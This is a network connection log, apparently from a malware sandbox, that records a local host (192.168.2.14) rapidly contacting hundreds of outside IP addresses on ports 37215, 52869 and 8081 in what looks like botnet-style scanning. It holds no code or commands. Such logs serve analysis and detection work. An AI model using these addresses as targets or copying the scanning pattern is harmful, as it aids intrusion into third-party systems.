Jul 20, 2024 23:01:02.429816961 CEST	37215	60728	41.26.139.46	192.168.2.14
Jul 20, 2024 23:01:02.429991007 CEST	37215	45018	50.0.188.147	192.168.2.14
Jul 20, 2024 23:01:02.429996014 CEST	37215	43488	41.226.92.193	192.168.2.14
Jul 20, 2024 23:01:02.430166960 CEST	37215	60734	197.40.93.165	192.168.2.14
Jul 20, 2024 23:01:02.430176973 CEST	37215	57400	116.213.32.189	192.168.2.14
Jul 20, 2024 23:01:02.430181026 CEST	37215	58610	197.8.234.46	192.168.2.14
Jul 20, 2024 23:01:02.430190086 CEST	37215	55560	197.81.117.241	192.168.2.14
Jul 20, 2024 23:01:02.430193901 CEST	37215	54236	197.164.125.148	192.168.2.14
Jul 20, 2024 23:01:02.430608988 CEST	37215	42312	41.65.98.19	192.168.2.14
Jul 20, 2024 23:01:02.430613041 CEST	37215	57418	41.212.179.177	192.168.2.14
Jul 20, 2024 23:01:02.430622101 CEST	37215	59254	152.71.212.76	192.168.2.14
Jul 20, 2024 23:01:02.430625916 CEST	37215	33888	41.171.70.30	192.168.2.14
Jul 20, 2024 23:01:02.430634022 CEST	37215	50160	41.243.57.159	192.168.2.14
Jul 20, 2024 23:01:02.430638075 CEST	37215	36536	197.66.212.124	192.168.2.14
Jul 20, 2024 23:01:02.430645943 CEST	37215	34332	157.183.27.248	192.168.2.14
Jul 20, 2024 23:01:02.430649042 CEST	37215	56066	197.77.202.247	192.168.2.14
Jul 20, 2024 23:01:02.430656910 CEST	37215	60374	13.86.185.73	192.168.2.14
Jul 20, 2024 23:01:02.430660963 CEST	37215	57334	157.136.249.217	192.168.2.14
Jul 20, 2024 23:01:02.430665016 CEST	37215	43890	157.255.17.174	192.168.2.14
Jul 20, 2024 23:01:02.430672884 CEST	37215	40624	157.92.46.65	192.168.2.14
Jul 20, 2024 23:01:02.430676937 CEST	37215	59918	145.169.160.7	192.168.2.14
Jul 20, 2024 23:01:02.430685043 CEST	37215	40822	41.121.47.232	192.168.2.14
Jul 20, 2024 23:01:02.430689096 CEST	37215	47630	197.228.255.157	192.168.2.14
Jul 20, 2024 23:01:02.431183100 CEST	37215	37178	197.17.71.182	192.168.2.14
Jul 20, 2024 23:01:02.431284904 CEST	37215	52980	197.195.106.45	192.168.2.14
Jul 20, 2024 23:01:02.431288958 CEST	37215	54692	41.131.64.64	192.168.2.14
Jul 20, 2024 23:01:02.431298018 CEST	37215	36104	157.31.140.76	192.168.2.14
Jul 20, 2024 23:01:02.431423903 CEST	37215	57054	197.77.31.163	192.168.2.14
Jul 20, 2024 23:01:02.431427956 CEST	37215	53338	37.3.189.109	192.168.2.14
Jul 20, 2024 23:01:02.431437016 CEST	37215	38644	199.67.163.62	192.168.2.14
Jul 20, 2024 23:01:02.431441069 CEST	37215	47626	41.160.188.126	192.168.2.14
Jul 20, 2024 23:01:02.431449890 CEST	37215	46280	197.241.150.191	192.168.2.14
Jul 20, 2024 23:01:02.431452990 CEST	37215	54792	157.47.87.238	192.168.2.14
Jul 20, 2024 23:01:02.431457043 CEST	37215	35610	157.136.175.137	192.168.2.14
Jul 20, 2024 23:01:02.431461096 CEST	37215	33058	197.88.129.45	192.168.2.14
Jul 20, 2024 23:01:02.431463957 CEST	37215	36598	197.170.105.28	192.168.2.14
Jul 20, 2024 23:01:02.431468010 CEST	37215	45068	197.153.186.108	192.168.2.14
Jul 20, 2024 23:01:02.431471109 CEST	37215	36306	157.229.133.19	192.168.2.14
Jul 20, 2024 23:01:02.431478977 CEST	37215	58460	207.21.193.219	192.168.2.14
Jul 20, 2024 23:01:02.431483030 CEST	37215	57010	41.180.195.47	192.168.2.14
Jul 20, 2024 23:01:02.431490898 CEST	37215	57698	157.177.125.202	192.168.2.14
Jul 20, 2024 23:01:02.431493998 CEST	37215	47970	41.248.220.216	192.168.2.14
Jul 20, 2024 23:01:02.431498051 CEST	37215	57848	139.212.201.39	192.168.2.14
Jul 20, 2024 23:01:02.431762934 CEST	37215	44924	41.145.5.36	192.168.2.14
Jul 20, 2024 23:01:02.431766987 CEST	37215	60422	157.250.180.168	192.168.2.14
Jul 20, 2024 23:01:02.431770086 CEST	37215	52592	41.181.208.214	192.168.2.14
Jul 20, 2024 23:01:02.431876898 CEST	37215	54222	42.255.69.128	192.168.2.14
Jul 20, 2024 23:01:02.431879997 CEST	37215	48024	197.62.166.112	192.168.2.14
Jul 20, 2024 23:01:02.431888103 CEST	37215	45326	41.156.215.126	192.168.2.14
Jul 20, 2024 23:01:02.431890965 CEST	37215	56210	41.10.15.208	192.168.2.14
Jul 20, 2024 23:01:02.431900024 CEST	37215	44708	41.7.80.153	192.168.2.14
Jul 20, 2024 23:01:02.432239056 CEST	58446	37215	192.168.2.14	197.177.30.83
Jul 20, 2024 23:01:02.432514906 CEST	37215	45974	157.255.88.114	192.168.2.14
Jul 20, 2024 23:01:02.432558060 CEST	45974	37215	192.168.2.14	157.255.88.114
Jul 20, 2024 23:01:02.432636023 CEST	37215	60422	157.250.180.168	192.168.2.14
Jul 20, 2024 23:01:02.433878899 CEST	37215	58450	157.114.223.179	192.168.2.14
Jul 20, 2024 23:01:02.433887959 CEST	37215	57400	116.213.32.189	192.168.2.14
Jul 20, 2024 23:01:02.433932066 CEST	58450	37215	192.168.2.14	157.114.223.179
Jul 20, 2024 23:01:02.434813976 CEST	33668	37215	192.168.2.14	197.146.102.184
Jul 20, 2024 23:01:02.435164928 CEST	37215	44376	197.199.221.47	192.168.2.14
Jul 20, 2024 23:01:02.435235977 CEST	44376	37215	192.168.2.14	197.199.221.47
Jul 20, 2024 23:01:02.435494900 CEST	37215	46822	81.216.201.21	192.168.2.14
Jul 20, 2024 23:01:02.435498953 CEST	37215	54222	42.255.69.128	192.168.2.14
Jul 20, 2024 23:01:02.435503006 CEST	37215	38644	199.67.163.62	192.168.2.14
Jul 20, 2024 23:01:02.435507059 CEST	37215	52592	41.181.208.214	192.168.2.14
Jul 20, 2024 23:01:02.435643911 CEST	37215	42126	41.27.117.169	192.168.2.14
Jul 20, 2024 23:01:02.435647964 CEST	37215	44924	41.145.5.36	192.168.2.14
Jul 20, 2024 23:01:02.435657024 CEST	37215	44708	41.7.80.153	192.168.2.14
Jul 20, 2024 23:01:02.435659885 CEST	37215	37178	197.17.71.182	192.168.2.14
Jul 20, 2024 23:01:02.435663939 CEST	37215	57400	116.213.32.189	192.168.2.14
Jul 20, 2024 23:01:02.435667992 CEST	37215	57010	41.180.195.47	192.168.2.14
Jul 20, 2024 23:01:02.435676098 CEST	37215	47970	41.248.220.216	192.168.2.14
Jul 20, 2024 23:01:02.435679913 CEST	37215	36306	157.229.133.19	192.168.2.14
Jul 20, 2024 23:01:02.435687065 CEST	37215	36598	197.170.105.28	192.168.2.14
Jul 20, 2024 23:01:02.435982943 CEST	37215	32874	197.5.87.246	192.168.2.14
Jul 20, 2024 23:01:02.435992002 CEST	37215	48024	197.62.166.112	192.168.2.14
Jul 20, 2024 23:01:02.436009884 CEST	37215	59758	157.59.236.255	192.168.2.14
Jul 20, 2024 23:01:02.436012983 CEST	37215	48024	197.62.166.112	192.168.2.14
Jul 20, 2024 23:01:02.436021090 CEST	37215	60422	157.250.180.168	192.168.2.14
Jul 20, 2024 23:01:02.436099052 CEST	37215	41490	197.249.254.134	192.168.2.14
Jul 20, 2024 23:01:02.436132908 CEST	41490	37215	192.168.2.14	197.249.254.134
Jul 20, 2024 23:01:02.437313080 CEST	32874	37215	192.168.2.14	197.5.87.246
Jul 20, 2024 23:01:02.437325954 CEST	37215	58446	197.177.30.83	192.168.2.14
Jul 20, 2024 23:01:02.437369108 CEST	58446	37215	192.168.2.14	197.177.30.83
Jul 20, 2024 23:01:02.438402891 CEST	49006	37215	192.168.2.14	13.83.123.25
Jul 20, 2024 23:01:02.439807892 CEST	37215	33668	197.146.102.184	192.168.2.14
Jul 20, 2024 23:01:02.439857006 CEST	33668	37215	192.168.2.14	197.146.102.184
Jul 20, 2024 23:01:02.440511942 CEST	37215	42126	41.27.117.169	192.168.2.14
Jul 20, 2024 23:01:02.440540075 CEST	52714	37215	192.168.2.14	181.36.87.26
Jul 20, 2024 23:01:02.440622091 CEST	45974	37215	192.168.2.14	157.255.88.114
Jul 20, 2024 23:01:02.440637112 CEST	58450	37215	192.168.2.14	157.114.223.179
Jul 20, 2024 23:01:02.440637112 CEST	44376	37215	192.168.2.14	197.199.221.47
Jul 20, 2024 23:01:02.440656900 CEST	32874	37215	192.168.2.14	197.5.87.246
Jul 20, 2024 23:01:02.440694094 CEST	33668	37215	192.168.2.14	197.146.102.184
Jul 20, 2024 23:01:02.440736055 CEST	32874	37215	192.168.2.14	197.5.87.246
Jul 20, 2024 23:01:02.440747976 CEST	33668	37215	192.168.2.14	197.146.102.184
Jul 20, 2024 23:01:02.440752029 CEST	58450	37215	192.168.2.14	157.114.223.179
Jul 20, 2024 23:01:02.440752029 CEST	44376	37215	192.168.2.14	197.199.221.47
Jul 20, 2024 23:01:02.441030979 CEST	41490	37215	192.168.2.14	197.249.254.134
Jul 20, 2024 23:01:02.441030979 CEST	41490	37215	192.168.2.14	197.249.254.134
Jul 20, 2024 23:01:02.441201925 CEST	58446	37215	192.168.2.14	197.177.30.83
Jul 20, 2024 23:01:02.441201925 CEST	45974	37215	192.168.2.14	157.255.88.114
Jul 20, 2024 23:01:02.441201925 CEST	58446	37215	192.168.2.14	197.177.30.83
Jul 20, 2024 23:01:02.444619894 CEST	37215	49006	13.83.123.25	192.168.2.14
Jul 20, 2024 23:01:02.444688082 CEST	49006	37215	192.168.2.14	13.83.123.25
Jul 20, 2024 23:01:02.444792032 CEST	49006	37215	192.168.2.14	13.83.123.25
Jul 20, 2024 23:01:02.444792032 CEST	49006	37215	192.168.2.14	13.83.123.25
Jul 20, 2024 23:01:02.445523024 CEST	37215	34370	41.89.17.37	192.168.2.14
Jul 20, 2024 23:01:02.446428061 CEST	37215	56944	197.200.12.199	192.168.2.14
Jul 20, 2024 23:01:02.447175980 CEST	37215	46822	81.216.201.21	192.168.2.14
Jul 20, 2024 23:01:02.447531939 CEST	37215	45974	157.255.88.114	192.168.2.14
Jul 20, 2024 23:01:02.447541952 CEST	37215	58450	157.114.223.179	192.168.2.14
Jul 20, 2024 23:01:02.447550058 CEST	37215	32874	197.5.87.246	192.168.2.14
Jul 20, 2024 23:01:02.447933912 CEST	37215	44376	197.199.221.47	192.168.2.14
Jul 20, 2024 23:01:02.447937965 CEST	37215	33668	197.146.102.184	192.168.2.14
Jul 20, 2024 23:01:02.448520899 CEST	37215	55584	197.102.177.131	192.168.2.14
Jul 20, 2024 23:01:02.448546886 CEST	37215	41490	197.249.254.134	192.168.2.14
Jul 20, 2024 23:01:02.448554993 CEST	37215	58446	197.177.30.83	192.168.2.14
Jul 20, 2024 23:01:02.451519012 CEST	37215	59758	157.59.236.255	192.168.2.14
Jul 20, 2024 23:01:02.453185081 CEST	37215	37866	161.127.78.197	192.168.2.14
Jul 20, 2024 23:01:02.453306913 CEST	37215	49006	13.83.123.25	192.168.2.14
Jul 20, 2024 23:01:02.457221031 CEST	37215	49206	41.239.228.171	192.168.2.14
Jul 20, 2024 23:01:02.463792086 CEST	37215	52714	181.36.87.26	192.168.2.14
Jul 20, 2024 23:01:02.466025114 CEST	37215	45974	157.255.88.114	192.168.2.14
Jul 20, 2024 23:01:02.466706038 CEST	37215	58450	157.114.223.179	192.168.2.14
Jul 20, 2024 23:01:02.468517065 CEST	37215	44376	197.199.221.47	192.168.2.14
Jul 20, 2024 23:01:02.468801022 CEST	37215	44176	157.11.29.10	192.168.2.14
Jul 20, 2024 23:01:02.471892118 CEST	37215	58446	197.177.30.83	192.168.2.14
Jul 20, 2024 23:01:02.473896980 CEST	37215	41490	197.249.254.134	192.168.2.14
Jul 20, 2024 23:01:02.478463888 CEST	37215	50544	60.162.189.105	192.168.2.14
Jul 20, 2024 23:01:02.478472948 CEST	37215	57200	157.20.249.180	192.168.2.14
Jul 20, 2024 23:01:02.478684902 CEST	37215	34686	113.163.100.190	192.168.2.14
Jul 20, 2024 23:01:02.478689909 CEST	37215	35696	157.71.253.214	192.168.2.14
Jul 20, 2024 23:01:02.478698969 CEST	37215	45886	24.132.91.59	192.168.2.14
Jul 20, 2024 23:01:02.485280991 CEST	37215	32874	197.5.87.246	192.168.2.14
Jul 20, 2024 23:01:02.485297918 CEST	37215	33668	197.146.102.184	192.168.2.14
Jul 20, 2024 23:01:02.486404896 CEST	37215	49006	13.83.123.25	192.168.2.14
Jul 20, 2024 23:01:02.648885012 CEST	8081	50165	222.1.41.48	192.168.2.14
Jul 20, 2024 23:01:02.649225950 CEST	8081	50165	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:02.649230957 CEST	8081	50165	149.47.207.151	192.168.2.14
Jul 20, 2024 23:01:02.649240971 CEST	8081	50165	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:02.649245977 CEST	8081	50165	79.211.151.120	192.168.2.14
Jul 20, 2024 23:01:02.649255037 CEST	8081	50165	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:02.649260044 CEST	37215	52725	163.92.213.232	192.168.2.14
Jul 20, 2024 23:01:02.649264097 CEST	37215	52725	123.25.87.128	192.168.2.14
Jul 20, 2024 23:01:02.649269104 CEST	37215	52725	40.213.71.109	192.168.2.14
Jul 20, 2024 23:01:02.649272919 CEST	8081	50165	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:02.649281979 CEST	8081	50165	192.158.1.164	192.168.2.14
Jul 20, 2024 23:01:02.649286032 CEST	37215	52725	41.253.214.190	192.168.2.14
Jul 20, 2024 23:01:02.649291039 CEST	37215	52725	41.149.227.175	192.168.2.14
Jul 20, 2024 23:01:02.649293900 CEST	37215	52725	41.38.47.187	192.168.2.14
Jul 20, 2024 23:01:02.649297953 CEST	37215	52725	41.71.22.237	192.168.2.14
Jul 20, 2024 23:01:02.672637939 CEST	50165	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:02.672637939 CEST	50165	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:02.672637939 CEST	50165	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:02.672637939 CEST	50165	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:02.672638893 CEST	50165	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:02.673856020 CEST	50165	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:02.673913956 CEST	50165	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:02.673913956 CEST	50165	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:02.673913956 CEST	50165	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:02.673913956 CEST	50165	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:02.673913956 CEST	50165	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:02.673913956 CEST	50165	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:02.673913956 CEST	50165	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:02.673938036 CEST	50165	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:02.673938036 CEST	50165	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:02.673981905 CEST	49909	52869	192.168.2.14	216.22.129.182
Jul 20, 2024 23:01:02.673981905 CEST	49909	52869	192.168.2.14	58.233.164.8
Jul 20, 2024 23:01:02.673981905 CEST	49909	52869	192.168.2.14	81.190.133.151
Jul 20, 2024 23:01:02.673981905 CEST	49909	52869	192.168.2.14	195.72.184.111
Jul 20, 2024 23:01:02.673981905 CEST	49909	52869	192.168.2.14	97.182.48.186
Jul 20, 2024 23:01:02.673981905 CEST	49909	52869	192.168.2.14	180.85.200.162
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	27.4.77.14
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	162.3.64.103
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	92.82.93.91
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	40.230.213.181
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	104.154.2.218
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	121.180.50.176
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	129.208.24.187
Jul 20, 2024 23:01:02.674052954 CEST	49909	52869	192.168.2.14	66.110.52.24
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	183.195.170.40
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	130.63.119.66
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	54.220.36.183
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	93.240.68.61
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	37.227.11.158
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	140.64.201.199
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	138.205.215.77
Jul 20, 2024 23:01:02.674127102 CEST	49909	52869	192.168.2.14	62.14.239.100
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	188.4.99.179
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	40.51.178.7
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	136.205.240.112
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	162.169.169.38
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	67.176.187.220
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	128.55.9.228
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	151.68.59.82
Jul 20, 2024 23:01:02.674209118 CEST	49909	52869	192.168.2.14	156.74.17.156
Jul 20, 2024 23:01:02.674288034 CEST	49909	52869	192.168.2.14	95.94.166.243
Jul 20, 2024 23:01:02.674288988 CEST	49909	52869	192.168.2.14	92.71.16.118
Jul 20, 2024 23:01:02.674288988 CEST	49909	52869	192.168.2.14	190.177.144.13
Jul 20, 2024 23:01:02.674288988 CEST	49909	52869	192.168.2.14	14.253.185.209
Jul 20, 2024 23:01:02.674288988 CEST	49909	52869	192.168.2.14	222.205.232.112
Jul 20, 2024 23:01:02.674288988 CEST	49909	52869	192.168.2.14	2.61.133.20
Jul 20, 2024 23:01:02.674288988 CEST	49909	52869	192.168.2.14	68.229.46.208
Jul 20, 2024 23:01:02.674288988 CEST	49909	52869	192.168.2.14	61.146.107.160
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	197.191.145.83
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	60.86.70.38
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	204.174.234.241
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	92.183.29.155
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	200.241.54.255
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	169.80.148.165
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	182.102.190.110
Jul 20, 2024 23:01:02.674376011 CEST	49909	52869	192.168.2.14	144.48.250.137
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	206.22.65.87
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	195.114.11.174
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	170.171.142.86
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	164.50.104.21
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	110.157.88.25
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	138.195.86.6
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	45.8.156.79
Jul 20, 2024 23:01:02.674472094 CEST	49909	52869	192.168.2.14	173.173.58.235
Jul 20, 2024 23:01:02.674578905 CEST	49909	52869	192.168.2.14	160.118.37.162
Jul 20, 2024 23:01:02.674578905 CEST	49909	52869	192.168.2.14	31.145.108.109
Jul 20, 2024 23:01:02.674578905 CEST	49909	52869	192.168.2.14	181.213.168.58
Jul 20, 2024 23:01:02.674578905 CEST	49909	52869	192.168.2.14	182.248.36.231
Jul 20, 2024 23:01:02.674578905 CEST	49909	52869	192.168.2.14	115.122.186.199
Jul 20, 2024 23:01:02.674580097 CEST	49909	52869	192.168.2.14	156.158.6.86
Jul 20, 2024 23:01:02.674580097 CEST	49909	52869	192.168.2.14	150.27.112.120
Jul 20, 2024 23:01:02.674580097 CEST	49909	52869	192.168.2.14	108.8.118.117
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	60.44.220.92
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	34.68.127.234
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	133.44.146.107
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	178.34.253.53
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	188.118.77.133
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	104.88.171.15
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	13.213.156.177
Jul 20, 2024 23:01:02.674690962 CEST	49909	52869	192.168.2.14	132.202.186.148
Jul 20, 2024 23:01:02.674806118 CEST	49909	52869	192.168.2.14	132.99.16.187
Jul 20, 2024 23:01:02.674806118 CEST	49909	52869	192.168.2.14	31.30.172.164
Jul 20, 2024 23:01:02.674806118 CEST	49909	52869	192.168.2.14	193.156.217.82
Jul 20, 2024 23:01:02.674806118 CEST	49909	52869	192.168.2.14	67.28.251.52
Jul 20, 2024 23:01:02.674806118 CEST	49909	52869	192.168.2.14	200.71.92.26
Jul 20, 2024 23:01:02.674807072 CEST	49909	52869	192.168.2.14	124.57.144.236
Jul 20, 2024 23:01:02.674807072 CEST	49909	52869	192.168.2.14	108.20.228.138
Jul 20, 2024 23:01:02.674807072 CEST	49909	52869	192.168.2.14	5.68.48.30
Jul 20, 2024 23:01:02.674927950 CEST	49909	52869	192.168.2.14	59.21.217.174
Jul 20, 2024 23:01:02.674927950 CEST	49909	52869	192.168.2.14	63.4.79.122
Jul 20, 2024 23:01:02.674927950 CEST	49909	52869	192.168.2.14	182.143.24.236
Jul 20, 2024 23:01:02.674927950 CEST	49909	52869	192.168.2.14	117.245.27.188
Jul 20, 2024 23:01:02.674927950 CEST	49909	52869	192.168.2.14	52.158.160.102
Jul 20, 2024 23:01:02.674927950 CEST	49909	52869	192.168.2.14	98.238.65.199
Jul 20, 2024 23:01:02.674927950 CEST	49909	52869	192.168.2.14	52.167.234.162
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	75.188.29.176
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	104.60.117.206
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	159.251.30.90
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	191.0.70.122
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	139.71.240.94
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	206.254.115.238
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	180.247.144.164
Jul 20, 2024 23:01:02.675415039 CEST	49909	52869	192.168.2.14	17.192.49.191
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	184.102.219.159
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	218.106.193.71
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	91.14.226.238
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	32.78.214.6
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	159.143.141.112
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	99.180.207.20
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	121.57.48.148
Jul 20, 2024 23:01:02.675539970 CEST	49909	52869	192.168.2.14	140.245.6.246
Jul 20, 2024 23:01:02.675681114 CEST	49909	52869	192.168.2.14	178.98.216.90
Jul 20, 2024 23:01:02.675681114 CEST	49909	52869	192.168.2.14	190.120.28.126
Jul 20, 2024 23:01:02.675681114 CEST	49909	52869	192.168.2.14	166.244.146.70
Jul 20, 2024 23:01:02.675681114 CEST	49909	52869	192.168.2.14	25.157.50.217
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	115.149.76.115
Jul 20, 2024 23:01:02.678627968 CEST	50165	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:02.678775072 CEST	50165	8081	192.168.2.14	68.236.19.214
Jul 20, 2024 23:01:02.678775072 CEST	50165	8081	192.168.2.14	71.246.161.243
Jul 20, 2024 23:01:02.678775072 CEST	50165	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:02.678775072 CEST	50165	8081	192.168.2.14	138.222.149.56
Jul 20, 2024 23:01:02.678775072 CEST	50165	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:02.678775072 CEST	50165	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:02.678776026 CEST	50165	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:02.678776026 CEST	50165	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:02.678931952 CEST	50165	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:02.678931952 CEST	50165	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:02.678932905 CEST	50165	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:02.678932905 CEST	50165	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:02.678932905 CEST	50165	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:02.678932905 CEST	50165	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:02.678932905 CEST	50165	8081	192.168.2.14	145.253.154.42
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	5.55.81.148
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	197.206.212.146
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	184.92.135.1
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	138.208.127.223
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	41.32.133.155
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	102.100.239.31
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	66.199.81.78
Jul 20, 2024 23:01:02.679089069 CEST	49909	52869	192.168.2.14	119.167.63.83
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	200.15.138.16
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	196.44.90.255
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	5.171.45.191
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	51.49.96.51
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	95.62.231.97
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	223.250.58.175
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	189.229.191.162
Jul 20, 2024 23:01:02.679255962 CEST	49909	52869	192.168.2.14	209.104.253.182
Jul 20, 2024 23:01:02.679431915 CEST	49909	52869	192.168.2.14	142.59.5.152
Jul 20, 2024 23:01:02.679433107 CEST	49909	52869	192.168.2.14	38.152.233.89
Jul 20, 2024 23:01:02.679433107 CEST	49909	52869	192.168.2.14	107.46.255.10
Jul 20, 2024 23:01:02.679433107 CEST	49909	52869	192.168.2.14	91.9.116.6
Jul 20, 2024 23:01:02.679433107 CEST	49909	52869	192.168.2.14	32.57.228.77
Jul 20, 2024 23:01:02.679433107 CEST	49909	52869	192.168.2.14	187.106.41.16
Jul 20, 2024 23:01:02.679433107 CEST	49909	52869	192.168.2.14	101.224.29.56
Jul 20, 2024 23:01:02.679433107 CEST	49909	52869	192.168.2.14	124.108.153.49
